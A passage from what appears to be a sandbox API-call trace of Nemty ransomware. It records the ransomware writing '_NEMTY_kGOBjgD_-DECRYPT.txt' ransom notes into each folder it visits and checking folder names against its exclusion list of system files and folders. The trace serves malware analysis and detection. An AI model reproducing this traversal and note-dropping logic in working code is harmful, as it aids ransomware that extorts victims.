nt\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0107.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0107.275] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0107.275] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0107.276] CloseHandle (hObject=0x3c0) returned 1 [0107.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0107.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0107.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0107.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0107.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0107.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0107.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x6346d60 [0107.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0107.276] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows nt\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0107.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0107.277] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0107.277] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0107.278] CloseHandle (hObject=0x3c0) returned 1 [0107.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0107.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.278] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf394b330, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf394b330, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0107.278] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0107.278] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf394b330, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf394b330, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.278] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0107.278] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0107.278] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0107.278] lstrcmpiW (lpString1="Accessories", lpString2=".") returned 1 [0107.278] lstrcmpiW (lpString1="Accessories", lpString2="..") returned 1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="...") returned 1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="windows") returned -1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="$RECYCLE.BIN") returned 1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="rsa") returned -1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="NTDETECT.COM") returned -1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="ntldr") returned -1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="MSDOS.SYS") returned -1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="IO.SYS") returned -1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="boot.ini") returned -1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="boot.ini") returned -1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="AUTOEXEC.BAT") returned -1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="ntuser.dat") returned -1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="desktop.ini") returned -1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="CONFIG.SYS") returned -1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="RECYCLER") returned -1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="BOOTSECT.BAK") returned -1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="bootmgr") returned -1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="programdata") returned -1 [0107.279] lstrcmpiW (lpString1="Accessories", lpString2="appdata") returned -1 [0107.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessories", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0107.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessories", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessories", lpUsedDefaultChar=0x0) returned 11 [0107.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessories", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0107.279] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessories", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessories", lpUsedDefaultChar=0x0) returned 11 [0107.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0107.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x76) returned 0x634fc60 [0107.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0107.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0107.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0107.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f91590 [0107.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0107.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0107.280] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows nt\\accessories\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0107.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0107.282] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0107.282] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0107.283] CloseHandle (hObject=0x3c4) returned 1 [0107.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0107.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0107.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0107.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0107.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f915f8 [0107.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0107.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0107.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0107.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.283] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows nt\\accessories\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0107.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0107.284] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0107.284] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0107.285] CloseHandle (hObject=0x3c4) returned 1 [0107.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0107.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915f8 | out: hHeap=0x4f90000) returned 1 [0107.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f915f8 [0107.285] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf3971490, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf3971490, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0107.285] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0107.285] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf3971490, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf3971490, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0107.285] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0107.285] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0107.286] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="en-US", cAlternateFileName="")) returned 1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0107.286] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0107.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0107.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f250, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0107.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0107.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f250, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0107.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0107.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915f8 | out: hHeap=0x4f90000) returned 1 [0107.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f915f8 [0107.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0107.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f940f0 [0107.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94178 [0107.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0107.287] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows nt\\accessories\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0107.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0107.287] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0107.287] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0107.288] CloseHandle (hObject=0x1e8) returned 1 [0107.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0107.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915f8 | out: hHeap=0x4f90000) returned 1 [0107.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f915f8 [0107.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0107.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94158 [0107.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0107.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0107.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94248 [0107.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0107.289] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows nt\\accessories\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0107.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0107.289] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0107.289] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0107.290] CloseHandle (hObject=0x1e8) returned 1 [0107.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0107.290] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0107.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94158 [0107.290] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf3971490, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf3971490, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0107.291] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0107.291] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf3971490, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf3971490, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0107.291] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0107.291] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0107.291] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: 